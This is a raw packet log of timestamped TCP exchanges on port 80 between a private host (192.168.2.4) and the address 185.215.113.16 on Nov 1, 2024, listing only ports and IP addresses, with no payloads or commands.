Nov 1, 2024 08:51:21.974334002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.974345922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.974386930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.974386930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.974386930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.974395037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.974498034 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002182961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002245903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002259016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002273083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002285004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002284050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002322912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002331972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002563000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002602100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002680063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002701044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002712965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002717018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002724886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002728939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002737045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002744913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002748966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002759933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002760887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002770901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002778053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002784967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.002804041 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.002821922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.092017889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.092050076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.092060089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.092071056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.092159986 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.095608950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.119786024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119815111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119833946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119846106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119857073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119867086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119875908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119885921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119898081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119895935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.119920015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119926929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.119940042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119951010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119961977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119962931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.119971991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119976044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.119983912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.119992971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.120004892 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.120028973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.210261106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.210278988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.210292101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.210356951 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.210410118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237581968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237621069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237643957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237657070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237668037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237687111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237720966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237735033 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237735987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237740993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237752914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237766027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237778902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237780094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237785101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237797022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.237828970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237828970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.237860918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.280594110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.280605078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.280616999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.280679941 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.280719042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.327425003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.327438116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.327460051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.327470064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.327497959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.327591896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.355356932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355389118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355415106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355427027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355437994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355457067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355469942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355474949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355480909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355483055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.355519056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.355523109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355537891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355547905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.355550051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355561972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.355581999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.355597973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.398684025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.398699045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.398710966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.398732901 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.398749113 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.445230961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.445277929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.445288897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.445367098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.445367098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.472875118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.472892046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.472904921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.472935915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.472981930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473001003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473045111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473057032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473069906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473108053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473108053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473153114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473164082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473187923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473201036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473202944 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473202944 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473212957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473223925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473226070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473238945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.473249912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473249912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473269939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.473289013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.516247988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.516262054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.516309977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.516339064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.516634941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.516680002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.562757969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.562774897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.562788010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.562809944 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.562848091 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590481043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590528965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590565920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590576887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590589046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590600967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590605021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590621948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590624094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590636969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590640068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590662003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590658903 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590673923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590676069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590686083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590692997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590698957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590708017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590714931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590723991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590733051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590739965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590745926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590754986 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590756893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590769053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.590770006 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590789080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.590816021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.633949995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.633968115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.633981943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.634063959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.634063959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887187004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887223959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887243986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887255907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887259007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887268066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887283087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887296915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887300014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887346983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887346983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887386084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887418985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887434959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887434959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887448072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887459993 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887468100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887476921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887480021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887491941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887499094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887504101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887516022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887516975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887528896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887576103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887576103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887609959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887620926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887631893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887644053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887655020 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887655973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887669086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887681961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887708902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887708902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887728930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887753010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887763977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887784004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887794971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887798071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887806892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887820005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887833118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887841940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887841940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887844086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887856007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887867928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887867928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887880087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.887959003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887959003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.887959003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.916903019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.916918039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.916939974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.916949987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.916974068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.917016029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.944603920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944617033 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944627047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944633961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944639921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944647074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944658995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944665909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944700956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944716930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.944847107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.977391958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.977633953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:22.977641106 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:22.977693081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.032668114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.032687902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.032766104 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.032800913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.034760952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.034770966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.034776926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.034826040 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.062426090 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062437057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062449932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062520981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062534094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062535048 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.062561035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.062571049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062580109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.062582016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062593937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.062604904 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.062629938 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.150207996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.150221109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.150232077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.150288105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.150337934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.152076960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.152117968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.152144909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.152160883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.152174950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.152184010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.152224064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.179874897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179888010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179898977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179925919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.179938078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179949045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179948092 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.179961920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179979086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.179982901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.179991961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.180001020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.180006027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.180012941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.180022955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.180031061 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.180052996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.180061102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.268032074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.268043995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.268054008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.268101931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.268140078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.270188093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.270206928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.270216942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.270241022 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.270267963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297667027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297744036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297827959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297848940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297859907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297871113 CET	80	57660	185.215.113.16	192.168.2.4
